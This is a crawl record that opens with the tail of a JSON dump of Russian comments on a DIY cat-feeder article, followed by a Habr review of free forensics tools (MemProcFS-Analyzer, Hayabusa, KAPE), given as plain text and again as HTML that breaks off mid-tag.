дремелем-то страшно. Я бы столярным ножом бы вырезал.", "Я имел в виду, как автоматизировать чистку лотка.", ">В любом случае, код поправить несложно.\nПоправится код или поправится кот.", "Справа ферма, майним потихой :)", "У меня кошка на унитаз ходит)\nЗнаю, что сейчас даже специальные штуки для обучения в разных вариациях, но можно и по старинке стопкой газет...", "А что в нём такого страшного? Если Вы, конечно, зубных врачей не боитесь.", "Как режущие диски разлетаются. Ну очки, предположим, на инженере-конструкторе были, а вот как там с остальной защитой — неясно.", "Странно, что Кот не завалил и не распотрошил эти цилиндры.", "Там осколки очень легкие и не способны поранить кожу. Очков достаточно.", "www.youtube.com/watch?v=KRBH21IvSrc", "Почему вы так решили? Я вложил десятки часов в создание этого видео и считаю его достаточным для размещения здесь. Так даже легче усваивать материал, по-моему, да и тема соответствует заявленной. Я разжевал материал в www.instructables.com/id/Smart-Cat-Feeder т.к. модераторы сервиса просили меня делать детализированную пошаговую инструкцию, думаете такой формат был бы более подходящим для Geektimes?", "Вот двое подростков из Севастополя (12 и 14 лет) пошли еще дальше, и создали, на базе автоматических кормушек собственной разработки, первый в мире автоматический тренажер для кошек CatNFit\nПодали документы на патент на группу изобретений, ищут инвестора :)\nПогуглите «catnfit», об этом были публикации в СМИ.", "Теперь Зв.войны придется в наушниках смотреть, чтобы кота не смущать.", "Очень детальный разбор котоеды.", "Я проверял сухие корма от дешёвых до дорогих. Кот ест их одинаковое количество", "UFO just landed and posted this here", "Уверяю вас, дорогущую Acana без араматизаторов кот не ест, если выветрился запах.", "Да, на мой взгляд такой формат был бы более подходящим для Geektimes. Youtube для видосиков, Geektimes для многобуков, взболтать но не смешивать :)\nМатериал по ссылке как раз тянет на отличную статью.", "заметил что не свежеть коты игнорят при большой площади, то есть тазик воды они будут пить приоритетнее миски.", "Для кота большая миска привлекательнее маленькой, проточная вода привлекательнее стоячей. На инстинктивном уровне — в большом проточном водоеме вода свежее/чище, чем в маленьком стоячем.", "> Мы взяли почти две тысячи кормов, вычеркнули почти всё по принципам «ингредиент _может_ содержать ртуть», или «зонтичный бренд запятнал себя каким-то скандалом», или ещё подобными, и у нас осталось всего 8 марок.\nРазбор детальный, но уж слишком придирчивый. Попробуйте себе еду так покупать.", "Надо еще на подходе к кормушке стенку с отверстием поставить. Ну, или диафрагму регулируемую еще одной сервой. Кот пролез — зачит, не ожирел еще :)", "Мой вариант\ngeektimes.ru/post/255490", "Дело не в количестве поедаемого, а в последствиях для здоровья животного. Ветеринары вам подтвердят, что дешевые корма зачастую приводят к широкому списку заболеваний, от мочекаменной болезни, до артрита.", "Это заговор производителей кормов :-) Ветеринары вам еще и буклетик всучат своих спонсоров — какие корма надо покупать.\nЕсли по-хорошему, то покупным кормом вообще кормить не желательно.", "Возможно. Но я уже однажды имел «удовольствие» лечить своего кота от мочекаменной болезни после упорного кормления его вискасом, так что теперь дешевых марок остерегаюсь.", "Проблема не в том, что «запах выветривается», а в том, что на любой сухой корм для длительного хранения наносится защитный слой (упрощенно, из жира и антиоксидантов). Но на открытом воздухе жир достаточно быстро прогоркает (опять же, вне зависимости от качества и стоимости сухого корма, поэтому его критично важно хранить в закрытой упаковке). Соответственно корм портится, запах становится неприятным (даже если человек этого не ощущает), кот предусмотрительно не ест))\nА влажный корм, естественно, вообще очень быстро портится, тут все как у людей — человек тоже вряд ли возжелает съесть простоявший со вчера на столе в тарелке обед. Хотя даже не факт, что им отравится.\nЗЫ. Ветеринарный диетолог", "Мочекаменная именно от сухого корма, цена роли не играет.\nВ моём детстве у нас кот от неё умер. Сам себе завёл кошку — кормлю влажным, т.к. предубеждение против сухих кормов...", "Вискас вообще жесть :D Воняет мощно и отвратительно, у меня на него аллергия начинается.", "Без тщательного расчета кормить домашним рационом — тоже только здоровье гробить) Коммерческий хотя бы сбалансирован. Но таки да, у кошек действительно проблемы с водопотреблением (в силу субтропического происхождения и особенностей строения почек), поэтому на сухом корме не все кошки пьют достаточно воды. Можно решать влажным кормом, если деньги есть, можно пробовать другими методами увеличивать водопотребление, тут как повезет.\nА вискас сам по себе не принципиально хуже дорогих кормов (да-да, я ветеринар, пришла всучивать буклетики). Если он, конечно, не на развес — как уже писалось выше, корма вне вакуумной упаковки портятся очень быстро, мало того, что прогорклый жир сам по себе не полезен, так еще и часть витаминов разрушается. Кстати, кормов с содержанием белка 50% и выше практически не бывает, если что) По крайней мере, мне в практике не встречались. А если корма, продающиеся на развес, называют «супер-премиум» — это какой-то аццкий обман трудящихся. В смысле, они могут быть хоть холистиками — только вот нарушенные условия хранения сводят на нет всю предполагаемую пользу. Хотя действительно более дешевые корма в данном случае могут портиться больше и быстрее, чем более дорогие, но это странное сравнение. Лучше уж любой, какой по нраву кошке (если кошка на корме чувствует себя хорошо, шерсть в порядке, стул и диурез тоже, она получает его по рекомендованной норме и не получает дополнительно ничего, что нарушило бы баланс нутриентов) — значит, он ей подходит) покупать в ненарушенной упаковке.", "Вот этот разбор гораздо больше смахивает на заговор производителей. Просто в силу того, что столь дорогостоящее исследование осмысленно проводить только тем, кто получит от него выгоду, а с научной точки зрения такие обзоры никому не сдались.", "А уже есть промышленные лотки-унитазы для кошек, кстати) То есть автоматизировать должно быть не сложно. Причем есть и версии прям унитазов, которые требуют подключения к водопроводу и канализации, а есть автономные, которые сгребают комки из наполнителя в резервуар. Правда, без комкующегося наполнителя нереализуемо)", "Это точно не заговор. Заговор — это когда в тайне, а у них прямо в подвале на каждой странице написано что с некоторыми из упоминаемых фирм у них есть партнерские отношения:\n> Reviews.com has an advertising relationship with some of the offers included on this page.\nОни при этом клятвенно уверяют что отношения никак не влияют на вердикты и ранжирование и вообще команды занимающиеся разбором никак не контактируют с бизнес командами. Верить им или нет — личный выбор каждого, доказательства купленных обзоров мы вряд ли увидим, как и их отсутствие (что вообще нереально).\nP.S. Я не защищаю и не обвиняю этих ребят, просто делюсь найденной информацией.", "А где подробности как к ютубу подключать?", "Формат «текст+иллюстрации» — в самый раз для гиктаймса, в отличие от видео и аудио.\nТекст с иллюстрациями позволяет:\n1) за несколько секунд бегло просмотреть и понять, стоит ли вчитываться\n2) можно быстро пропускать ненужные фрагменты и углубляться только в заинересовавшие\n3) ну и вообще, быстро и точно выполнять навигацию вперёд-назад и по тексту и по иллюстрациям (не говоря уже о банальном поиске по тексту).\nДля авторов, зачастую (не всегда, конечно), создание текстовой статьи влечёт большие времязатраты, чем съёмка видео, но это перекрывается уменьшением суммарных времязатрат потребителей контента.\nА в данном случае автор таки сделал статью подходящего формата, так что и экономии не получил.", "ИМХО, видео, на которое ушло меньше времени, чем на изложение того же самого текстом, нет смысла смотреть.", "но зритель этого не узнает, пока не посмотрит", "А регулировка порции зависит от количества корма в бункере?\nВедь при фиксированных параметрах — порция может изменяться в зависимости от скорости насыпания, а скорость — от высоты «столба» гранул.\nХотя интуиция подсказывает, что для гранул зависимость менее выражена, чем для жидкостей.\nЕсть какие-то исследования, показывающие стабильность этой скорости в подобных граничных условиях? Собственно, в качестве таковых годится опыт эксплуатации — если порции неразличимы на глаз — это достаточная стабильность.", "Поэтому я вообще не смотрю видео.", "Я не замечал разницы в размере порции в зависимости от высоты. Я бы сказал, что от рандома зависит куда больше (т.к. отверстия не очень большие, а зёрнышки имеют свойство зацепляться друг за друга, то бывает просто случайно выпадает то больше, то меньше, а еще и моторчик когда дёргает туда-сюда, то вытряхивает определенное количество). Я делал 10 тестовых запусков и делал так, чтобы одно срабатывание выдавало в среднем 15 зёрнышек. Бывало и 8, и 20. Для моих целей – достаточная точность." ], "author": [ "{}", "Александр Улитин (Litiy)", "nomadmoon", "Алексей (MedicusAmicus)", "Александр Улитин (Litiy)", "Terras", "Александр Улитин (Litiy)", "Иван (LiguidCool)", "Иван (LiguidCool)", "Александр Улитин (Litiy)", "tuxx (tuxx)", "ragesteel (ragesteel)", "Александр Улитин (Litiy)", "Alcor", "dimm_ddr", "SandroSmith", "{}", "Александр Улитин (Litiy)", "Александр Улитин (Litiy)", "tbp2k5", "Артем Науменко (Ents)", "Zenitchik", "natan555", "spc", "Alcor", "Areskoi", "Virtual77", "DS28 (DS28)", "Zenitchik", "spc", "ed007", "cyberly", "Yaroslav Khudyakov (superyarik)", "Александр Улитин (Litiy)", "Alvlad", "yarglor", "Mato", "gpyra", "{}", "EasyX", "nomadmoon", "bro-dev", "kisaa", "kisaa", "plm", "apple01", "skyscaper", "gpyra", "skyscaper", "nigowa", "DS28 (DS28)", "gpyra", "nigowa", "nigowa", "nigowa", "dimm_ddr", "areht", "Юрай Нескажу (juray)", "Zenitchik", "Юрай Нескажу (juray)", "Юрай Нескажу (juray)", "Zenitchik", "Александр Улитин (Litiy)" ], "children": [ [ 18508819, 18508905 ], [ 18508833, 18508867 ], [ 18508883 ], [ 18508825 ], [ 18508937 ], [ 18508829 ], [ 18508837, 18508889 ], [ 18508835 ], [ 18508847 ], [], [ 18508891 ], [ 18508841 ], [ 18508899 ], [ 18508861 ], [ 18508851, 18508857 ], [ 18508849, 18508915 ], [ 18508853, 18508895 ], [], [ 18508859 ], [], [], [], [ 18508865 ], [ 18508873 ], [ 18508871, 18508925 ], [], [], [], [ 18508875 ], [ 18508879 ], [], [], [], [ 18508893, 18508897, 18508931 ], [], [], [ 18508903, 18508923 ], [ 18508909 ], [], [], [], [ 18508901 ], [], [], [], [], [ 18508911 ], [ 18508913, 18508921 ], [ 18508917, 18508919 ], [], [], [], [], [ 18508927 ], [], [], [], [ 18508933 ], [ 18508935 ], [ 18508939 ], [ 18508941 ], [], [] ] }
690,434
ru
https://habr.com/ru/post/690434/
Обзор лучших бесплатных приложений для исследований в рамках форензики
На сегодняшний день у ряда специалистов по форензике в РФ возникают трудности в проведении исследования цифровых свидетельств с помощью платного коммерческого ПО, поскольку не всегда есть возможность продлить лицензионную подписку или срок действия аппаратного ключа. Приходится искать альтернативные пути, которые позволят, пусть и с некоторыми потерями во времени, выполнять расследования с сохранением достаточного уровня качества. Мы в “Информзащите” изучили довольно большой ряд бесплатных опенсорсных инструментов, которые применяем в наших расследованиях и хотим поделиться с вами нашими впечатлениями и опытом применения такого ПО. ### MemProcFS-Analyzer Регулярно обновляемый инструмент, представляющий из себя комплексный скрипт Powershell и набор многих популярных утилит для проведения цифровых исследований в рамках форензики. Важная особенность – полностью автоматическая установка всех необходимых компонентов при первом запуске скрипта. Основной фокус этого инструмента – исследование дампов оперативной памяти, однако анализ здесь проводится без применения традиционного Volatility. Скрипт создаёт виртуальный диск и монтирует к нему исследуемый дамп памяти, взаимодействуя с ним в дальнейшем как с файловой системой. Интересное решение для тех, кто не любит использовать Volatility из-за большого набора плагинов и необходимости подбирать нужный профиль ОС для анализа. Справедливости ради, я должен заметить, что применял этот тулкит только для анализа дампов памяти ОС Windows. Насколько инструмент приемлем для анализа дампов памяти ОС Linux, я сказать не могу. Автор тулкита тоже ничего не указал в описании по этому поводу. Мне же хочется отметить некоторые фичи, которые вызвали у меня отдельный интерес в рамках исследований. Ещё в ходе извлечения файлов из дампа программа сразу же укажет на подозрительные дочерние процессы в памяти и задачи планировщика. Неплохая зацепка, чтобы понять, в каком направлении можно «копать» после завершения процесса. Файлы подозрительных процессов автоматически проверяются опенсорсным антивирусом ClamAV. Для этого скрипт временно отключает службу «Защитник Windows», чтобы это не было неожиданностью для вас. После завершения извлечения и первичной обработки данных мы получаем вот такой набор папок, содержащих отсортированные свидетельства: Радует, что в результате обработки создаются не только текстовые и .csv файлы, но и отформатированные таблицы Excel, с которыми гораздо приятнее работать. Из интересного - файл FindEvil.xlsx, в котором содержится информация о подозрительных файлах, выявленных на основе индикаторов, описанных автором отдельно по ссылке https://github.com/ufrisk/MemProcFS/wiki/FS_FindEvil В файле proc.xlsx содержится не только список процессов с их PID, PPID и имени пользователя, из-под которого производится запуск, но и полная команда запуска процесса по аналогии с плагином cmdscan/cmdline из Volatility. Файл tasks.xlsx содержит полный список всех задач планировщика с полной строкой запуска команд. Если в процессе автоматической обработки скрипт выявил процессы с подозрительным наследованием, например, когда типичный процесс outlook.exe порождает powershell.exe, то список этих процессов с их описанием располагается в отдельной папке sys\proc\Unusual_Parent-Child_Relationships в виде текстовых файлов. Ну и, конечно, так всеми любимый таймлайн. Полностью отформатированный, с удобными фильтрами. Из минусов, которые встретились мне в ходе работы с инструментом, хочется отметить следующие. На сегодняшний день есть проблема с сетевой доступностью обновлений для компонентов этого тулкита, поэтому при запуске вы увидите такие вот ошибки. Данные компоненты придётся загружать вручную. Это касается и обновления базы данных для ClamAV. Без обновлённых баз ClamAV просто «повесит» скрипт в бесконечных попытках подключиться к локальному сервису ClamAV, который, в свою очередь, без обновлённых баз просто не запустится. Нет отдельного списка по выявленным компонентам «автозагрузки». Есть некоторые данные из реестра, но мы с вами знаем, что это не полноценная информация. Обработанные данные в итоге запаковываются в архив 7zip с паролем MemProcFS, что на сайте автора не указано, и найти его можно только в теле скрипта. Это может вызвать замешательство при первом использовании. ### Hayabusa Отличный, регулярно обновляемый опенсорсный инструмент для глубокого анализа системных событий Windows с фокусом на выявление завершённых или активных кибератак. Скачать можно по ссылке https://github.com/Yamato-Security/hayabusa Для бесплатного ПО имеет достаточно гибкие настройки и не требует каких-либо «танцев с бубном» при установке. В последних релизах умеет работать в несколько потоков, что значительно сокращает время анализа. На вход ожидается указание пути к папке с файлами событий .evtx, либо можно провести live-анализ текущего хоста. Вывод можно направить в .csv файл, который будет выглядеть следующим образом: С моей точки зрения, это весьма информативный список результатов. Данный инструмент не просто экспортирует системные события и сортирует по источникам, но и на основе внутренних алгоритмов находит взаимосвязи определённых событий и делает предположения о наличии вредоносной активности в системе. Сортировать результаты можно не только по уровню их опасности, но и по типу вредоносного воздействия из классификации MitreAttack. Кстати, уровень точности значительно возрастает при установленном сервисе sysmon в системе. Впрочем, это логично, учитывая, что sysmon ведёт очень подробный лог событий сам по себе. Hayabusa позволяет кастомизировать правила, которые пишутся в .yml файлах, в синтаксисе, напоминающем YARA-правила: Кстати, можно импортировать отдельные Sigma-правила, которые Hayabusa прекрасно понимает. По личному опыту – Hayabusa очень хорошо выявляет атаки, направленные на Active Directory. Различные попытки брутфорса, Password Spray, Pass-the-hash, Pass-the-ticket, Golden Ticket, Credential Dumping и вот это вот всё детектится очень хорошо. Из минусов - разве что вывод доступен только в формате .csv, так что придётся форматировать вручную. ### KAPE Теперь расскажу про более масштабный инструмент, работающий прежде всего с клонами/образами жёсткого диска. Автором является достаточно известный специалистам по форензике Eric Zimmerman. Собственно, KAPE и расшифровывается как Kroll's Artifact Parser and Extractor, а Kroll – это название компании, частью которой является и сам автор KAPE. Скачать KAPE можно с официального сайта по запросу через форму обращения. https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape Инструмент тоже регулярно обновляется и представляет собой набор скриптов, тесно интегрированных с форензик-утилитами самого Eric Zimmerman, имеющий вполне приличный для бесплатного инструмента графический интерфейс. У KAPE есть два основных режима работы: сбор данных (т.н. acquisition) и их анализ. Левая часть главного окна отвечает как раз за сбор данных, а правая - за различные варианты анализа. Сначала вы выбираете диск-источник, данные с которого нужно исследовать. Здесь важный момент – KAPE не умеет принимать на вход образы дисков. Поэтому сначала необходимо смонтировать образ в виде логического диска и на вход Target source подать путь к логическому диску. В Target destination указываем папку, куда будут извлечены данные для анализа. А вот то, какие именно данные будут извлечены, вы выбираете из длинного списка плагинов. На самом деле запутаться здесь сложно, потому что названия плагинов соответствуют тем данным, которые будут извлечены. Например, плагин !SANS_Triage извлечёт стандартный набор данных по методологии SANS. Какие именно данные? Делаем двойной клик по названию плагина и видим такое окно: Здесь перечислены модули, которые будут использованы данным скриптом. Эти модули хранятся в папке KAPE\Targets. Открываем, к примеру, EventLogs.tkape и видим: Делаем вывод, что для анализа будут извлечены файлы .evtx из соответствующих папок. Думаю, что логика понятна – имеющиеся плагины можно открыть и проверить по указанным файлам модулей, какие именно данные будут извлечены и откуда. Запускаем извлечение, процесс пошёл: В моём случае, при выбранном !SANS_Triage, я получил вот такой набор папок и файлов для дальнейшего анализа: Теперь в работу вступает вторая часть KAPE – плагины для анализа из правой части главного окна. Логика та же самая – на вход Module source указываем папку с содержимым из первого этапа и в Module destination указываем, куда сохранить результаты анализа файлов. Содержимое плагинов можно просматривать точно так же, как и на первом этапе. С модулями – то же самое. Далее – выбираем формат сохранения результатов и запускаем анализ. В ходе выполнения можно заметить запуски стандартных инструментов от Eric Zimmerman, но это характерно для плагина !EZParser. Другие модули запускают утилиты, указанные в их описании: Кстати, скорее всего вам уже стало понятно, что можно создать собственные плагины и добавить их в папку KAPE\Modules. На выходе получаем набор папок с результатами анализа, разложенные по категориям: Дальше – типичная работа специалиста по форензике. Изучаем .csv файлы и ищем необходимые доказательства. Из минусов можно отметить следующие. На сегодняшний день есть некоторые проблемы с получением ссылки на KAPE после заполнения формы на сайте. Письмо с ней приходит с перебоями или не приходит вовсе. К тому же, требуется обязательно указывать корпоративную почту. Необходимость самостоятельно скачивать некоторые утилиты для модулей и копировать их в папку KAPE\Modules\bin. KAPE плохо реагирует на работу с образами дисков, которые смонтированы с помощью FTKImager, и рекомендует использовать Arsenal Image Mounter. Впрочем, эта проблема решается установкой опции Ignore FTK Warning в правой части главного окна. Но, по опыту, с FTKImager здесь действительно какие-то проблемы, потому что с Arsenal у меня действительно получалось вытащить больше данных из анализируемых файлов при базовом анализе с плагином !EZParser. Вот такие три отличные, бесплатные приложения, которые мы используем при проведении исследований в рамках форензики. Если будут какие-то вопросы, оставляйте их в комментариях.
<div xmlns="http://www.w3.org/1999/xhtml"><p>На сегодняшний день у ряда специалистов по форензике в РФ возникают трудности в проведении исследования цифровых свидетельств с помощью платного коммерческого ПО, поскольку не всегда есть возможность продлить лицензионную подписку или срок действия аппаратного ключа. Приходится искать альтернативные пути, которые позволят, пусть и с некоторыми потерями во времени, выполнять расследования с сохранением достаточного уровня качества. Мы в “Информзащите” изучили довольно большой ряд бесплатных опенсорсных инструментов, которые применяем в наших расследованиях и хотим поделиться с вами нашими впечатлениями и опытом применения такого ПО.</p><figure class="full-width "><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/3c2/c80/530/3c2c80530a0f5913a59e81905e43b804.jpeg" width="1054" height="466" data-src="https://habrastorage.org/getpro/habr/upload_files/3c2/c80/530/3c2c80530a0f5913a59e81905e43b804.jpeg" data-blurred="true"/><figcaption></figcaption></figure><h3>MemProcFS-Analyzer</h3><p>Регулярно обновляемый инструмент, представляющий из себя комплексный скрипт Powershell и набор многих популярных утилит для проведения цифровых исследований в рамках форензики. Важная особенность – полностью автоматическая установка всех необходимых компонентов при первом запуске скрипта. Основной фокус этого инструмента – исследование дампов оперативной памяти, однако анализ здесь проводится без применения традиционного Volatility. Скрипт создаёт виртуальный диск и монтирует к нему исследуемый дамп памяти, взаимодействуя с ним в дальнейшем как с файловой системой. </p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/d52/b5b/e72/d52b5be724ce586d7dce7e5bac8ec34d.png" width="979" height="512" data-src="https://habrastorage.org/getpro/habr/upload_files/d52/b5b/e72/d52b5be724ce586d7dce7e5bac8ec34d.png"/><figcaption></figcaption></figure><p>Интересное решение для тех, кто не любит использовать Volatility из-за большого набора плагинов и необходимости подбирать нужный профиль ОС для анализа. Справедливости ради, я должен заметить, что применял этот тулкит только для анализа дампов памяти ОС Windows. Насколько инструмент приемлем для анализа дампов памяти ОС Linux, я сказать не могу. Автор тулкита тоже ничего не указал в описании по этому поводу. Мне же хочется отметить некоторые фичи, которые вызвали у меня отдельный интерес в рамках исследований.</p><p>Ещё в ходе извлечения файлов из дампа программа сразу же укажет на подозрительные дочерние процессы в памяти и задачи планировщика. Неплохая зацепка, чтобы понять, в каком направлении можно «копать» после завершения процесса.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/d51/cc6/ba0/d51cc6ba02e6a5f44716d60a4943c4da.png" width="777" height="148" data-src="https://habrastorage.org/getpro/habr/upload_files/d51/cc6/ba0/d51cc6ba02e6a5f44716d60a4943c4da.png"/><figcaption></figcaption></figure><p>Файлы подозрительных процессов автоматически проверяются опенсорсным антивирусом ClamAV. Для этого скрипт временно отключает службу «Защитник Windows», чтобы это не было неожиданностью для вас.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/44d/717/6ab/44d7176ab1e90901c4eefe5b6a1e91d4.png" width="777" height="185" data-src="https://habrastorage.org/getpro/habr/upload_files/44d/717/6ab/44d7176ab1e90901c4eefe5b6a1e91d4.png"/><figcaption></figcaption></figure><p>После завершения извлечения и первичной обработки данных мы получаем вот такой набор папок, содержащих отсортированные свидетельства:</p><figure class=""><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/6d8/56b/af2/6d856baf29d0b5d197848774bae961ca.png" width="442" height="352" data-src="https://habrastorage.org/getpro/habr/upload_files/6d8/56b/af2/6d856baf29d0b5d197848774bae961ca.png"/><figcaption></figcaption></figure><p>Радует, что в результате обработки создаются не только текстовые и .csv файлы, но и отформатированные таблицы Excel, с которыми гораздо приятнее работать.</p><p>Из интересного - файл <strong>FindEvil.xlsx</strong>, в котором содержится информация о подозрительных файлах, выявленных на основе индикаторов, описанных автором отдельно по ссылке <a href="https://github.com/ufrisk/MemProcFS/wiki/FS_FindEvil"><u>https://github.com/ufrisk/MemProcFS/wiki/FS_FindEvil</u></a></p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/e64/13b/a70/e6413ba70ba311a60e2ddaac57137b5a.png" width="1600" height="397" data-src="https://habrastorage.org/getpro/habr/upload_files/e64/13b/a70/e6413ba70ba311a60e2ddaac57137b5a.png"/><figcaption></figcaption></figure><p>В файле <strong>proc.xlsx</strong> содержится не только список процессов с их PID, PPID и имени пользователя, из-под которого производится запуск, но и полная команда запуска процесса по аналогии с плагином cmdscan/cmdline из Volatility.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/5e5/56a/b04/5e556ab046472bbd92fc55dbf1d343a5.png" width="1372" height="631" data-src="https://habrastorage.org/getpro/habr/upload_files/5e5/56a/b04/5e556ab046472bbd92fc55dbf1d343a5.png"/><figcaption></figcaption></figure><p>Файл <strong>tasks.xlsx</strong> содержит полный список всех задач планировщика с полной строкой запуска команд.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/385/d23/605/385d23605d958051bdc38396450c95c9.png" width="1600" height="251" data-src="https://habrastorage.org/getpro/habr/upload_files/385/d23/605/385d23605d958051bdc38396450c95c9.png"/><figcaption></figcaption></figure><p>Если в процессе автоматической обработки скрипт выявил процессы с подозрительным наследованием, например, когда типичный процесс outlook.exe порождает powershell.exe, то список этих процессов с их описанием располагается в отдельной папке <strong>sys\proc\Unusual_Parent-Child_Relationships </strong>в виде текстовых файлов.</p><p>Ну и, конечно, так всеми любимый таймлайн. Полностью отформатированный, с удобными фильтрами.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/49a/67c/d84/49a67cd84b279b59980568c2a53b70c8.png" width="1493" height="685" data-src="https://habrastorage.org/getpro/habr/upload_files/49a/67c/d84/49a67cd84b279b59980568c2a53b70c8.png"/><figcaption></figcaption></figure><p>Из <strong>минусов</strong>, которые встретились мне в ходе работы с инструментом, хочется отметить следующие.</p><ul><li><p>На сегодняшний день есть проблема с сетевой доступностью обновлений для компонентов этого тулкита, поэтому при запуске вы увидите такие вот ошибки.</p></li></ul><figure class="full-width "><img src="https://habrastorage.org/r/w780q1/getpro/habr/upload_files/ac2/932/2bd/ac29322bde0c8924a00aa00c7ce15f88.jpeg" width="1112" height="567" data-src="https://habrastorage.org/getpro/habr/upload_files/ac2/932/2bd/ac29322bde0c8924a00aa00c7ce15f88.jpeg" data-blurred="true"/><figcaption></figcaption></figure><p>Данные компоненты придётся загружать вручную. Это касается и обновления базы данных для ClamAV. Без обновлённых баз ClamAV просто «повесит» скрипт в бесконечных попытках подключиться к локальному сервису ClamAV, который, в свою очередь, без обновлённых баз просто не запустится.</p><ul><li><p>Нет отдельного списка по выявленным компонентам «автозагрузки». Есть некоторые данные из реестра, но мы с вами знаем, что это не полноценная информация.</p></li><li><p>Обработанные данные в итоге запаковываются в архив 7zip с паролем MemProcFS, что на сайте автора не указано, и найти его можно только в теле скрипта. Это может вызвать замешательство при первом использовании.</p></li></ul><h3>Hayabusa</h3><p>Отличный, регулярно обновляемый опенсорсный инструмент для глубокого анализа системных событий Windows с фокусом на выявление завершённых или активных кибератак. Скачать можно по ссылке <a href="https://github.com/Yamato-Security/hayabusa"><u>https://github.com/Yamato-Security/hayabusa</u></a></p><p>Для бесплатного ПО имеет достаточно гибкие настройки и не требует каких-либо «танцев с бубном» при установке. В последних релизах умеет работать в несколько потоков, что значительно сокращает время анализа.</p><p>На вход ожидается указание пути к папке с файлами событий .evtx, либо можно провести live-анализ текущего хоста. Вывод можно направить в .csv файл, который будет выглядеть следующим образом:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/82f/e18/e19/82fe18e19dccf0cbceaabb10c08ea370.png" width="1600" height="366" data-src="https://habrastorage.org/getpro/habr/upload_files/82f/e18/e19/82fe18e19dccf0cbceaabb10c08ea370.png"/><figcaption></figcaption></figure><p>С моей точки зрения, это весьма информативный список результатов. Данный инструмент не просто экспортирует системные события и сортирует по источникам, но и на основе внутренних алгоритмов находит взаимосвязи определённых событий и делает предположения о наличии вредоносной активности в системе. Сортировать результаты можно не только по уровню их опасности, но и по типу вредоносного воздействия из классификации MitreAttack. Кстати, уровень точности значительно возрастает при установленном сервисе <strong>sysmon</strong> в системе. Впрочем, это логично, учитывая, что sysmon ведёт очень подробный лог событий сам по себе. </p><p>Hayabusa позволяет кастомизировать правила, которые пишутся в .yml файлах, в синтаксисе,  напоминающем YARA-правила:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/f0a/26c/602/f0a26c6020bc4b1df6d23605ab803a9d.png" width="1455" height="702" data-src="https://habrastorage.org/getpro/habr/upload_files/f0a/26c/602/f0a26c6020bc4b1df6d23605ab803a9d.png"/><figcaption></figcaption></figure><p>Кстати, можно импортировать отдельные Sigma-правила, которые Hayabusa прекрасно понимает.</p><p>По личному опыту – Hayabusa очень хорошо выявляет атаки, направленные на Active Directory. Различные попытки брутфорса, Password Spray, Pass-the-hash, Pass-the-ticket, Golden Ticket, Credential Dumping и вот это вот всё детектится очень хорошо.</p><p>Из минусов - разве что вывод доступен только в формате .csv, так что придётся форматировать вручную.</p><h3>KAPE</h3><p>Теперь расскажу про более масштабный инструмент, работающий прежде всего с клонами/образами жёсткого диска. Автором является достаточно известный специалистам по форензике Eric Zimmerman. Собственно, KAPE и расшифровывается как Kroll's Artifact Parser and Extractor, а Kroll – это название компании, частью которой является и сам автор KAPE. </p><p>Скачать KAPE можно с официального сайта по запросу через форму обращения. <a href="https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape"><u>https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape</u></a></p><p>Инструмент тоже регулярно обновляется и представляет собой набор скриптов, тесно интегрированных с форензик-утилитами самого Eric Zimmerman, имеющий вполне приличный для бесплатного инструмента графический интерфейс.</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/aeb/c2e/7a2/aebc2e7a24ea9017137fd30a95e65a46.png" width="1557" height="1123" data-src="https://habrastorage.org/getpro/habr/upload_files/aeb/c2e/7a2/aebc2e7a24ea9017137fd30a95e65a46.png"/><figcaption></figcaption></figure><p>У KAPE есть два основных режима работы: сбор данных (т.н. acquisition) и их анализ. Левая часть главного окна отвечает как раз за сбор данных, а правая - за различные варианты анализа.</p><p>Сначала вы выбираете диск-источник, данные с которого нужно исследовать. Здесь важный момент – KAPE не умеет принимать на вход образы дисков. Поэтому сначала необходимо смонтировать образ в виде логического диска и на вход <strong>Target source</strong> подать путь к логическому диску. В <strong>Target destination </strong>указываем папку, куда будут извлечены данные для анализа. А вот то, какие именно данные будут извлечены, вы выбираете из длинного списка плагинов. На самом деле запутаться здесь сложно, потому что названия плагинов соответствуют тем данным, которые будут извлечены. Например, плагин <strong>!SANS_Triage</strong> извлечёт стандартный набор данных по методологии SANS. Какие именно данные? Делаем двойной клик по названию плагина и видим такое окно:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/c65/e8f/321/c65e8f32195faaa54729332559b17f9e.png" width="640" height="778" data-src="https://habrastorage.org/getpro/habr/upload_files/c65/e8f/321/c65e8f32195faaa54729332559b17f9e.png"/><figcaption></figcaption></figure><p>Здесь перечислены модули, которые будут использованы данным скриптом. Эти модули хранятся в папке KAPE\Targets. Открываем, к примеру, <strong>EventLogs.tkape</strong> и видим:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/87b/c50/f7d/87bc50f7d850d123cf59160a90e548fd.png" width="817" height="528" data-src="https://habrastorage.org/getpro/habr/upload_files/87b/c50/f7d/87bc50f7d850d123cf59160a90e548fd.png"/><figcaption></figcaption></figure><p>Делаем вывод, что для анализа будут извлечены файлы .evtx из соответствующих папок.</p><p>Думаю, что логика понятна – имеющиеся плагины можно открыть и проверить по указанным файлам модулей, какие именно данные будут извлечены и откуда.</p><p>Запускаем извлечение, процесс пошёл:</p><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/f2a/312/9fb/f2a3129fb2892f5b9fad595ebf69904f.png" width="1078" height="963" 